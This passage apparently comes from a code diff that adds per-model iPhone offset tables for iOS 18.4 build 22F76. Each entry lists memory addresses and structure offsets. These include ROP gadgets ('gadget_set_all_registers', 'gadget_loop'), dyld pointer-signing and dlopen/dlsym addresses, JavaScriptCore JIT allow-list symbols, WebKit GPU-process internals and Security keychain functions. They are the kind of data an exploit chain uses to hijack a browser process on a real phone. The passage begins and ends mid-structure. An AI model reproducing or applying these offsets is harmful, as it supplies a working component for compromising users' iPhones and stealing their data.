AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,6_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf098n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeb80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeae0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc48n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be260n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be268n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be270n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be278n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e27e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e818n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62a78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5b8n, + WebCore__initPKContact_value: 0x1eda6b5c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69d80n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69d78n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69d60n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f9c0n, + __pthread_head: 0x2696e0020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5390n, + gadget_control_1_ios184: 0x23f0362ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f261150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d235da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfae16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abf820n, + libGPUCompilerImplLazy__invoker: 0x23cddb7e8n, + libGPUCompilerImplLazy_cstring: 0x23bf25870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca858n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d284000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ac0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,7_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + 